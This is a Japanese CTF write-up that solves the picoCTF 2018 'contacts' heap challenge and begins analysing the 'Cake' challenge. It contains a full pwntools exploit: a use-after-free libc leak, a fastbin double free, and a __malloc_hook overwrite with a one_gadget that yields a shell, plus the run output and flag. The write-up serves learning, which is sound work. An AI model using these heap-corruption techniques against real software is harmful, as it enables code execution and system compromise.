とても大事なヒントのようなので、fastbinについて調べてみます。名前だけは聞いたことがあり、メモリ管理系のスライドをどこかで見たときに聞いたなー程度の認識でした。いい機会なので再度メモリ管理についてもおさらいしました。書籍とかでちゃんと体系的に勉強すべきとは思いつつ、Webで記事あさり。

ざっくり理解したfastbins

mallocでは確保する領域を探す際に、freeされた領域へのリンクリストを探索して、要求されたサイズ以上の空きを探します。この時、要求されたサイズがmax_fast以下の小さい領域だった場合、fastbinsが使われます。fastbinsはサイズに応じて10個リストが用意されており、要求されたサイズに近いサイズを割り当てることができます。小さいサイズのchunkは頻繁に確保・解放が繰り返されるため、fastbinsを使うことでメモリのフラグメントの発生を抑制します。また、fastbinsのchunkは、binsのchunkに比べて構造が単純になっているため、確保・解放の処理もシンプルでコストが抑えられます。max_fastはデフォルトで x64 で 0x160, x32 で 0x80(=128d) だそうです。

他にも、mallocの歴史や改良の軌跡、fastbinリセットの話もあって面白かった。malloc解説シリーズはサクッと読みやすい、且つ細かい挙動の解説、図(ていうかメモリダンプ)での解説がわかりやすかったのでおすすめです。

さて、コードを見てみます。肝になりそうなcontactの構造体。

struct contact {
    char *name;
    char *bio;
};

name と bio へのポインタを持っています。
次に、mallocとfreeの箇所を確認します。mallocが使われているのは、下記の二箇所。

void create_contact(char *name){
    ...
    struct contact *contact = (struct contact *)malloc(sizeof(struct contact));
void set_bio(struct contact *contact){
    ...
    contact->bio = (char *)malloc(length+1);

ここで気になるのは、contactの生成時にbio情報が不要で、初期化もされていないことです。こちらcreate_contact関数。

void create_contact(char *name){
    if (num_contacts == MAX_CONTACTS){
        puts("Too many contacts! Delete one first!");
        return;
    }

    struct contact *contact = (struct contact *)malloc(sizeof(struct contact));
    if (contact == NULL){
        puts("Could not allocate new contact.");
        exit(-1);
    };

    /* make a copy of the name on the heap */
    contact->name = strdup(name);
    if (contact->name == NULL){
        puts("Could not duplicate name.");
        exit(-1);
    }

    contacts[num_contacts++] = contact;
}

bio情報はset_bio関数で初めて値が入ります。

deleteが使われているのは下記の2箇所。

void delete_contact(struct contact *contact){
    free(contact->name);

    /* if the bio is set, free it as well */
    if (contact->bio != NULL){
        free(contact->bio);
    }

    free(contact);
void set_bio(struct contact *contact){
    ...
    /* we'll replace the old bio */
    if (contact->bio != NULL){
        free(contact->bio);
    }

この2つ目のset_bio内のfreeですが、既存のbioがあれば上書きするためにfreeするようなコメントが入っています。が、入力値のvalidationが終わりきっていないタイミングのため、その後のbioのlength入力の際のチェック(null, length>255)に引っかかった場合は新しいbioをセットせずに既存のbioを解放しっぱなしで処理を終えてしまいます。

ここまでの情報から、以下の流れで攻撃が成立しそうです。

  1. contact1をcreateし、
  2. bioにcontactの構造体を突っ込む
  3. contact1のbioのみを、上記のバグを使ってfreeする
    ※freeされた領域はcontactの構造を持っている
  4. 新しいcontact contact2 をcreateすると、name領域は初期化されるがbio領域がcontact1で使用していたときのまま残る
  5. displayしてbio領域を参照して表示させる

f:id:kusuwada:20190922061619p:plain

※ picoCTF2019が始まってしまうため、手書きの図をそのままアップ…。

ということでcontact1に突っ込むbioに、汚染されたbioを持つcontact構造を突っ込みます。コードは今回、基本的に一つ前のswordスクリプトを改造しています。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from ctypes import *

host = '2018shell.picoctf.com'
port = 40352

MAX_BIO_LEN = 255

class contact(Structure):
    _fields_ = [('name', c_char_p),
                ('bio', c_char_p)]


def create_contact(name, bio):
    c = contact()
    c.name = name
    c.bio = bio
    return c

def recv_menu():
    r.recvuntil(b'> ')

def display():
    recv_menu()
    print(b'### display')
    r.sendline(b'display')
    res = r.recvuntil(b'Enter your command:')
    print(res)
    return

def create(name):
    recv_menu()
    print(b'### create: ' + name)
    r.sendline(b'create ' + name)
    res = r.recvline()
    print(res)
    return

def set_bio(name, length, bio):
    recv_menu()
    print(b'### bio: ' + name + b', len: ' + str(length).encode() + b', bio: ' + bio)
    r.sendline(b'bio ' + name)
    print(r.recvuntil(b"How long will the bio be?"))
    r.sendline(str(length).encode())
    if length > MAX_BIO_LEN:
        print('bio freed')
        recv_menu()
        return
    print(r.recvuntil(b"Enter your new bio:"))
    r.sendline(bio)
    r.recvline()
    res = r.recvline()
    print(res)
    recv_menu() # once recive "Invalid option" response after bio set.
    return


### prepare
target = ELF('./contacts')
libc = ELF('./libc.so.6')

r = remote(host, port)

### use after free test
# create poisoned bio contact structure
bio4libc = create_contact(0, target.got[b'puts'])
b_bio4libc = memoryview(bio4libc).tobytes()

create(b'1')
set_bio(b'1', len(b_bio4libc), b_bio4libc)
set_bio(b'1', MAX_BIO_LEN+1, b'') # free only bio
create(b'2')
display()

実行結果

(略)
b'### create: 1'
b'Created contact "1"\n'
b'### bio: 1, len: 16, bio: \x00\x00\x00\x00\x00\x00\x00\x00  `\x00\x00\x00\x00\x00'
b'Bio recorded.\n'
b'### bio: 1, len: 256, bio: '
bio freed
b'### create: 2'
b'Created contact "2"\n'
b'### display'
b'1 - \x800\xba\n2 - \x90v\x84\x9a\x96\x7f\n\nEnter your command:'
(略)

上記の流れの最後のdisplayでは、

contact1: \x800\xba
contact2: \x90v\x84\x9a\x96\x7f

が得られました。
今回使いたいのは contact2 の bioです。ここに puts のアドレスが入ったはず。hexアドレスに直すと 0x7f969a847690。刺さったっぽい₍₍ (ง ˙ω˙)ว ⁾⁾
あとはswordと同じようにlibc_baseのアドレスを計算します。

さて、こんどはshellを取ります(๑•̀ㅂ•́)و✧

swordのときはうまく実行してくれるパスがあったのですが、今回は一筋縄ではいかなさそうです…。display機能は、メモリを参照して表示するだけ。ここまではBinary問題にしては快調だった(当社比。99%直前にswordをやったおかげ)けど詰まる。というかfastbinの特徴を使っていない。

fastbin attackとかfastbin ctfとかでググると、攻撃パターンの紹介がいくつか出てきます。何故か中国語サイトが上位だったんですけど、google翻訳先生の力を借りてなんとか読めました。

いつものももいろテクノロジーさんも。malloc系のテクニックが沢山紹介されています。
この辺を見ていると、double freeが割とメジャーな攻撃っぽいです。

今回の問題にもdouble freeが使えないか考えてみます。

ちょっとまわり道してしまったので畳んどきます。
ここで再度 delete_contact 関数を見てみます。この中では、name -> bio(あれば) -> contact の順にfreeしています。次に新しくmallocする際、LIFO(Last in First out)なので、先程使っていた領域の contact -> bio -> name の順で確保されていきます。
ということは、一度contact構造体をfreeしたあとに再度mallocすると、新しいcontactのnameは今までbioが使用していた領域を指すようになります。値は新しいnameで上書きされます。更に、bioはcontactをcreateしただけでは初期化されないため、古いbio領域、すなわち今nameが指している領域を示しているはずです。こうすれば新しいcontactのname,bioが同じ領域を指す状態が作れそうです。
このまま新しいcontactをdeleteすると、同じ領域を2度free、すなわちdouble freeできそう!

コードを書いて検証してみます。

### prepare 処理までは上記と同じ

### double free test
create(b'contact1')
set_bio(b'contact1', 7, b'old_bio')
delete(b'contact1')
create(b'contact2')
display()

実行結果

(略)
b'### create: contact1'
b'Created contact "contact1"\n'
b'### bio: contact1, len: 7, bio: old_bio'
b'Bio recorded.\n'
b'### delete: contact1'
b'Deleted contact "contact1"\n'
b'### create: contact2'
b'Created contact "contact2"\n'
b'### display'
b'contact2 - contact2\n\nEnter your command:'
(略)

最後のdisplay()では

(name)   - (bio)
contact2 - contact2

となっています。新しいcontact(contact2)では、namecontact2を入れたのでnameがcontact2になっているのは通常運転ですが、セットしていないはずのbioもcontact2になっています。先程の狙い通り、この新しいcontactのbioが初期化されずに、新しいnameと同じ領域を指しているのが確認できました!

fastbinのリストは、同じ領域が重複して登録されていないかのチェックがないため、double freeを起こしやすくなっています。
しかし!簡単なdouble freeチェックは入っており、free(p1) -> free(p1) とすると、double freeチェックに引っかかってエラーが出てしまいます(fastbin の リンクリストの head に同じ領域がないかのチェックがあるため)。今回のdouble free testのケースでは、このままdelete(b'contact2')するとこのチェックに引っかかってしまいました。。。残念!

b"*** Error in `/problems/contacts_4_4b3296ae25c87d6d5868d1b4fbea01da/contacts': double free or corruption (fasttop): 0x00000000025ec060 ***\n"

さて、この折りたたみの中では、fastbinにも double free の簡単なチェックが入っているため、同じ領域を続けて free(p1) -> free(p1) のように解放しようとするとエラーになってしまう事を見ました。p1を double free したい場合は、free(p1) -> free(p2) -> free(p1) のように、他の領域のfreeを挟む必要があります。

そういえば、先程libcのアドレスを取る際に使った脆弱性、set_bioでbio領域だけをfreeしてしまうやつ。これが使えそうです。set_bioでbioだけfreeするやつを2回呼べば良さげ。その間に他の領域のfreeを呼ぶのも簡単そう。検証してみましょう。

### prepare 処理までは上記と同じ

### double free test 2
create(b'shell1')
set_bio(b'shell1', 10, b'bio1')
create(b'shell2')
set_bio(b'shell2', 10, b'bio2')

set_bio(b'shell1', MAX_BIO_LEN+1, b'') # free only bio
display()
set_bio(b'shell2', MAX_BIO_LEN+1, b'') # free only bio
set_bio(b'shell1', MAX_BIO_LEN+1, b'') # free only bio

display()

実行結果

b'### create: shell1'
b'Created contact "shell1"\n'
b'### bio: shell1, len: 6, bio: bio1'
b'Bio recorded.\n'
b'### create: shell2'
b'Created contact "shell2"\n'
b'### bio: shell2, len: 6, bio: bio2'
b'Bio recorded.\n'
b'### bio: shell1, len: 256, bio: '
bio freed
b'### display'
b'shell1 - \nshell2 - bio2\n\nEnter your command:'
b'### bio: shell2, len: 256, bio: '
bio freed
b'### bio: shell1, len: 256, bio: '
bio freed
b'### display'
b'shell1 - \xb0\xf0\xdd\n1-2 - P\xf0\xdd\n\nEnter your command:'

1回目のfreeの際はshell1のbio領域がなくなって

shell1 - 
shell2 - bio2

の出力になっていますが、2回目のfreeの後は壊れちゃってます。

1-1 - \xb0\xf0\xdd
1-2 - P\xf0\xdd

しかしエラーにはならず、無事fastbin内でdouble freeが成功したっぽいです。

さて、これをどうやって攻撃につなげるかを考える必要があります。
最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか fastbin attack with 0x70 chunk これが使えそうな気がします。

概要 結構前から汎用的に使われているテクニック。 fastbinに繋がれたチャンクをmalloc()などで取り出す時に、チェックが甘いことに起因する。 libcのdata, bssにあるデータを利用して、その付近のメモリをmalloc()で取得するテクニック。

使用条件 * UAFやheap bofなどで、free済みのチャンクのfdを任意に制御できる * 0x59から0x68までのサイズでmalloc()を呼べる * libcのアドレスが分かっている(これが絶対かは問題による)

ということで、今回の条件とやりたいことにかなり合致していそうです。

上の double free test 2 で double freeをしたあとの、fastbinの状態はこんな感じ。

[fastbin]
(head) -> bio1 -> bio2 -> bio1' -> (bio2) -> (bio1) -> ...

次にbio領域を確保(contact3)した場合、fastbinの先頭にある bio1 の領域が取れます。更に、fastbinのリンクの中にもまだこの領域へのpointer(bio1')が残っています。
bio領域の中身はこちらで好きにいじれる (上の条件の "free済みのチャンクのfdを任意に制御できる" ) ため、fastbinの中で不正な動作をするような中身に書き換えることができます。具体的には、次の空き領域へのポインタを好きな領域に書き換えてしまいます。
※ あとに出てくる、allocate chunk と free chunk の構造参照。allocate状態で user 領域にある領域が、 free chunk の中では次の領域へのリンクを格納する管理領域として扱われるため、この書き換えが可能になります。

上記で紹介した、最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか fastbin attack with 0x70 chunk にあるとおり、このとき書き換える対象として__malloc_hookがよく使われるそうです。あまり馴染が無いですが。__malloc_hookのリファレンスはこちら

The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions. You can use these hooks to help you debug programs that use dynamic memory allocation, for example. __malloc_hook: The value of this variable is a pointer to the function that malloc uses whenever it is called. ... The value of caller is the return address found on the stack when the malloc function was called.

だそうです。__malloc_hookに何か用意されている場合は、malloc関数を呼ぶとhookのほうが動作するようになっているみたいです。さらに、__malloc_hookに、shellを起動してくれるgadget (one_gadgetで取得できる) をセットしておけば、mallocしたときにこれを呼び出してくれるはず。

ここで、chunkの構造を見てみます。

mallocの動作を追いかける(prev_size編) - Qiitaあたりにも図解で載っていたのですが、引用しやすかったので下記より引用します。

malloc_chunk · Heap Exploitation

Allocated chunk

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Free chunk

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

fastbinのchunkでは、Size of chunk のみ管理領域として使われており、freeされるとその前に Size of previous chunk が書き込まれます。更に、Foward ponter(*fw) と Back pointer(*bk) が allocate 状態で User data 領域だった場所に書き込まれることがわかります。冒頭のfastbin, malloc解説の動画やスライドにもこの話は出てきていました。

fastbin中のbio1の *fw に指定する領域は、同じくfreeされた領域として扱われます。また、fastbinのサイズチェックを受けるので、サイズがfastbinの守備範囲内である必要があります。そこで、__malloc_hookの先頭アドレスを書き込むのではなく、ちょっとずらしてやる(__malloc_fook_addr - 0x23)と、Size of chunk の領域に 0x7f が当たるので、これがよく使われるそうです。

__malloc_hookのアドレス
gdb-peda$ p &__malloc_hook
$3 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>

適当に数byte前を見てみる
gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20  0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b20 <main_arena>:  0x0000000000000000  0x0000000000000000

適当にズラして0x7fとする
gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20-3
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000  0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000  0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f  0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000  0x0000000000000000

※出典: 最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか

ということで、bio1 のユーザー領域の戦闘に __malloc_hook_addr - 0x23 を書き込んでやります。これを dummy_chunk命名します。

これで、fastbinの状態はこうなりました。

[fastbin]
(head) -> bio2 -> bio1' -> dummy_chunk -> (tail)

更に、dummy_chunk に one_gadget でとってきた shell を起動してくれるgadgetのアドレスを差し込みます。ここを書き換えるためにはdummy_chunkを操作する必要があるので、この領域がbio領域として使われるように fastbin の前に積まれている領域を alloc していきます。

fastbinはリンクリストを10個もっており、サイズごとに使うリストが異なるため、同じリンクリストを使うには同じサイズの領域を扱う必要があります。先程の __malloc_hook のサイズに 0x7f を書き込むことにしたので、0x70 のサイズのリンクリストを使うことになります。
よって、いまから確保する領域は、ここにハマるようにサイズを調整します。fastbinの最初の 0x10 byteはサイズなどのメタデータに使われるため、allocする際のデータは 0x70 - 0x10 で 0x60 のサイズを使うと良さそうです。※bio1, bio2, bio3 も同様。

malloc bio4

[fastbin]
(head) -> bio1' -> dummy_chunk -> (tail)

malloc bio5

[fastbin]
(head) -> dummy_chunk -> (tail)

malloc bio6

[fastbin]
(head) -> (tail)

この時取得する領域が、dummy_chunk の領域です。このset_bio時に、one_gadgetで取得したアドレスを送り込みます。

$ one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

4つのどれかを使うのですが、前回も「全部試したらええ」でやったので今回も順番に試します。
また、__malloc_hookに gadget を登録したいのですが、先程 fastbin の chunk に詰めるときに 0x23 バイトずらしたアドレスを登録しました。このずらした分を補正するため、 0x23 - 0x10 ほど offset をつけて書き込んでやります。(※0x10はfastbinのメタデータ領域)

gadget_payload = b'\x00'*0x13 + p64(libc_base + gadget_addr)
set_bio(b'6', 0x60, gadget_payload + pad(0x60, gadget_payload, b'a'))

次のmalloc(create_contact)で攻撃が発動するはず。

この攻撃手法は何箇所かで紹介されていましたが、どれも異なる名前で紹介されているので正式名称が不明のまま…。そもそも正式名称があるのか?強いて言うならfastbin attack?(広そう)

これをコードに落とします。bioばっかり使うので、最初にcontactをガーッとcreateしておいて後からbio領域をとっていく形。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from ctypes import *

host = '2018shell.picoctf.com'
port = 40352

MAX_BIO_LEN = 255

class contact(Structure):
    _fields_ = [('name', c_char_p),
                ('bio', c_char_p)]


def create_contact(name, bio):
    c = contact()
    c.name = name
    c.bio = bio
    return c

def pad(size, buff, pad_data):
    while len(buff) < size:
        buff += pad_data
    return buff

def recv_menu():
    r.recvuntil(b'> ')

def display():
    recv_menu()
    print(b'### display')
    r.sendline(b'display')
    res = r.recvuntil(b'Enter your command:')
    print(res)
    return res

def create(name):
    recv_menu()
    print(b'### create: ' + name)
    r.sendline(b'create ' + name)
    res = r.recvline()
    print(res)
    return

def delete(name):
    recv_menu()
    print(b'### delete: ' + name)
    r.sendline(b'delete ' + name)
    res = r.recvline()
    print(res)
    return

def set_bio(name, length, bio):
    recv_menu()
    print(b'### bio: ' + name + b', len: ' + str(length).encode() + b', bio: ' + bio)
    r.sendline(b'bio ' + name)
    r.recvuntil(b"How long will the bio be?")
    r.sendline(str(length).encode())
    if length > MAX_BIO_LEN:
        print('bio freed')
        recv_menu()
        return
    r.recvuntil(b"Enter your new bio:")
    r.sendline(bio)
    r.recvline()
    res = r.recvline()
    print(res)
    return

def free_bio(name):
    set_bio(name, MAX_BIO_LEN+1, b'')


###############
### prepare ###
###############
target = ELF('./contacts')
libc = ELF('./libc.so.6')

r = remote(host, port)

#####################
### get libc_base ###
#####################
# create poisoned bio contact structure
bio4libc = create_contact(0, target.got[b'puts'])
b_bio4libc = memoryview(bio4libc).tobytes()

# use after free
create(b'libc_1')
set_bio(b'libc_1', len(b_bio4libc), b_bio4libc)
free_bio(b'libc_1')
create(b'libc_2')
libc_res = display()
libc_puts = u64(pad(8, libc_res.split(b'- ')[2].split(b'\n')[0], b'\x00'))
print('+++ libc puts addr: ' + hex(libc_puts))
libc_base = libc_puts - libc.symbols[b'puts']

#################
### get shell ###
#################
# create 6 contacts named '1' ~ '6'
for i in range(6):
    create(str(i+1).encode())

# set bio 1,2
set_bio(b'1', 0x60, b'1'*0x60)
set_bio(b'2', 0x60, b'2'*0x60)

# double free bio1
free_bio(b'1')
free_bio(b'2')
free_bio(b'1')

# set dummy_chunk to *fw of bio1 in fastbin
malloc_hook_addr = libc_base + libc.symbols[b'__malloc_hook'] - 0x23
print('+++ libc __malloc_hook around addr: ' + hex(malloc_hook_addr))
malloc_hook_payload = p64(malloc_hook_addr) + pad(0x60, p64(malloc_hook_addr), b'a')
set_bio(b'3', 0x60, malloc_hook_payload)

# consume fastbin
set_bio(b'4', 0x60, b'4'*0x60)
set_bio(b'5', 0x60, b'5'*0x60)

# alloc & set dummy chunk
gadget_addr = 0x4526a # get from one_gadget
gadget_payload = b'\x00'*0x13 + p64(libc_base + gadget_addr)
set_bio(b'6', 0x60, gadget_payload + pad(0x60, gadget_payload, b'a'))

# trigger attack with malloc
create(b'7')

r.interactive()

実行結果

(略)
b'### create: libc_1'
b'Created contact "libc_1"\n'
b'### bio: libc_1, len: 16, bio: \x00\x00\x00\x00\x00\x00\x00\x00  `\x00\x00\x00\x00\x00'
b'Bio recorded.\n'
b'### bio: libc_1, len: 256, bio: '
bio freed
b'### create: libc_2'
b'Created contact "libc_2"\n'
b'### display'
b'libc_1 - \x80p\xe7\x01\nlibc_2 - \x90f\x80\xd3\x19\x7f\n\nEnter your command:'
+++ libc puts addr: 0x7f19d3806690
b'### create: 1'
b'Created contact "1"\n'
b'### create: 2'
b'Created contact "2"\n'
b'### create: 3'
b'Created contact "3"\n'
b'### create: 4'
b'Created contact "4"\n'
b'### create: 5'
b'Created contact "5"\n'
b'### create: 6'
b'Created contact "6"\n'
b'### bio: 1, len: 96, bio: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111'
b'Bio recorded.\n'
b'### bio: 2, len: 96, bio: 222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222'
b'Bio recorded.\n'
b'### bio: 1, len: 256, bio: '
bio freed
b'### bio: 2, len: 256, bio: '
bio freed
b'### bio: 1, len: 256, bio: '
bio freed
+++ libc __malloc_hook around addr: 0x7f19d3b5baed
b'### bio: 3, len: 96, bio: \xed\xba\xb5\xd3\x19\x7f\x00\x00\xed\xba\xb5\xd3\x19\x7f\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'Bio recorded.\n'
b'### bio: 4, len: 96, bio: 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444'
b'Bio recorded.\n'
b'### bio: 5, len: 96, bio: 555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555'
b'Bio recorded.\n'
b'### bio: 6, len: 96, bio: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xc2}\xd3\x19\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xc2}\xd3\x19\x7f\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
b'Bio recorded.\n'
b'### create: 7'
b'Invalid option\n'
[*] Switching to interactive mode
Available commands:
    display - display the contacts
    create [name] - create a new contact
    delete [name] - delete an existing contact
    bio [name] - set the bio for an existing contact
    quit - exit the program

Enter your command:
> $ ls
contacts
flag.txt
libc.so.6
xinet_startup.sh
$ cat flag.txt
picoCTF{4_5pr3e_0f_d0ubl3_fR33_be84fe98}

ちなみにこれ、shell取れたときのツイート。

やるよね。今回はかなり長い道のりだったので、shellが取れたときの感動と動揺は特大。

malloc,fastbinについて調べていると、GHOST脆弱性の文字が。こちらもPOODLE,Heartbleed同様、仕事で緊急調査・対応が入った高名な脆弱性だ!もう2015年だから4年も前の話だ。私がCTF始めたのが2016年だから、出会う前だな。こういうところで繋がると嬉しい。

ちなみに、InterKosenCTF 2019に fastbin tutorial という問題が出ていたそうです。サーバーは落ちていますが、ソースや解法、writeupがあるのでfastbin触ってみるのに良さそう。公式解法はこちら。(Pwn) fastbin tutorial - HackMD

他にも、0CTF 2017 の Baby Heap, RCTF 2018 の babyheap で同様の問題が出ていたようです。

[Binary] Cake (900pt)

Now that you're a professional heap baker, can you pwn this for us? It should be a piece of cake. Connect with nc 2018shell.picoctf.com 36903. libc.so.6

Hints

  • If at first you don't succeed, try, try, try again.
  • Make sure you are run/debug with the provided libc on the shell server

まずは挙動を確認してみます。

$ nc 2018shell.picoctf.com 36903
              *                                             *
                                               *
                    *
                                  *
                                                            *
         *
                                                  *
             *
                           *             *
                                                     *
      *                                                               *
               *
                               (             )
                       )      (*)           (*)      (
              *       (*)      |             |      (*)
                       |      |~|           |~|      |          *
                      |~|     | |           | |     |~|
                      | |     | |           | |     | |
                     ,| |a@@@@| |@@@@@@@@@@@| |@@@@a| |.
                .,a@@@| |@@@@@| |@@@@@@@@@@@| |@@@@@| |@@@@a,.
              ,a@@@@@@| |@@@@@@@@@@@@.@@@@@@@@@@@@@@| |@@@@@@@a,
             a@@@@@@@@@@@@@@@@@@@@@' . `@@@@@@@@@@@@@@@@@@@@@@@@a
             ;`@@@@@@@@@@@@@@@@@@'   .   `@@@@@@@@@@@@@@@@@@@@@';
             ;@@@`@@@@@@@@@@@@@'     .     `@@@@@@@@@@@@@@@@'@@@;
             ;@@@;,.aaaaaaaaaa       .       aaaaa,,aaaaaaa,;@@@;
             ;;@;;;;@@@@@@@@;@      @.@      ;@@@;;;@@@@@@;;;;@@;
             ;;;;;;;@@@@;@@;;@    @@ . @@    ;;@;;;;@@;@@@;;;;;;;
             ;;;;;;;;@@;;;;;;;  @@   .   @@  ;;;;;;;;;;;@@;;;;@;;
             ;;;;;;;;;;;;;;;;;@@     .     @@;;;;;;;;;;;;;;;;@@@;
         ,%%%;;;;;;;;@;;;;;;;;       .       ;;;;;;;;;;;;;;;;@@;;%%%,
      .%%%%%%;;;;;;;@@;;;;;;;;     ,%%%,     ;;;;;;;;;;;;;;;;;;;;%%%%%%,
     .%%%%%%%;;;;;;;@@;;;;;;;;   ,%%%%%%%,   ;;;;;;;;;;;;;;;;;;;;%%%%%%%,
     %%%%%%%%`;;;;;;;;;;;;;;;;  %%%%%%%%%%%  ;;;;;;;;;;;;;;;;;;;'%%%%%%%%
     %%%%%%%%%%%%`;;;;;;;;;;;;,%%%%%%%%%%%%%,;;;;;;;;;;;;;;;'%%%%%%%%%%%%
     `%%%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%%%%%%'
       `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
           `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
                  """"""""""""""`,,,,,,,,,'"""""""""""""""""
                                 `%%%%%%%'
                                  `%%%%%'
                                    %%%                 
                                   %%%%%
                                .,%%%%%%%,.
                           ,%%%%%%%%%%%%%%%%%%%,




In total, you have sold $0 worth of merchandise, and have 1 customers waiting.
* [M]ake a cake.
* [W]ait for customers.
* [S]erve a customer.
* [I]nspect a cake.
* [C]lose the shop.
...

ケーキAAや!!!

ちょっといじってみた感じ、ケーキ屋さんの機能のようです。

* [M]ake a cake.         # ケーキを作る。ケーキの名前・価格を設定できる
* [W]ait for customers.  # 客を待つ。来るとは限らないが、帰らない(減らない)
* [S]erve a customer.    # 客をもてなす。ケーキを売ることができる
* [I]nspect a cake.      # ケーキの名前と価格を見る(指定するのはindex)
* [C]lose the shop.      # 店じまい

ちょっと怪しい挙動達

  • 価格を設定する際に数値以外も許容される(が、表示される時は0になっている)
  • 同じケーキを2回売るとdouble freeエラー発生

2つ目のdouble freeエラーはこんな感じ

> S
This customer looks really hungry. Which cake would you like to give them?
> applepie
The customer looks really happy with applepie!
*** Error in `/problems/cake_4_0f653e0256b9455e627ae372462f2fc3/cake': double free or corruption (fasttop): 0x0000000001bc5020 ***
   2442249: ?r??timeout: the monitored command dumped core

さて、今回はソースコードが提供されていません…!まずは、ghidraにcakeの実行ファイルを喰わせて、decompileしてもらいました。変数名はもちろん読みやすくはないですが、無料でここまでdecompileしてくれるのほんとすごい。

f:id:kusuwada:20190925152700p:plain

main関数、inspect関数などそれぞれc言語で出力されました。ここで、ケーキの構造体が知りたかったので、ケーキが作成されるであろう make 関数を見てみます(上図)。

    if (local_1c == 0x10) {
      puts("Ran out of counter space :(");
    }

ケーキは0x10個までしか作れないようです。
知りたかったケーキの構造体ですが、L27で呼ばれているfget_eat関数と合わせて見る限り、nameのサイズは 8 のようです。また、priceはlongのようです。

struct cake {
    long price;
    char name[8];
}

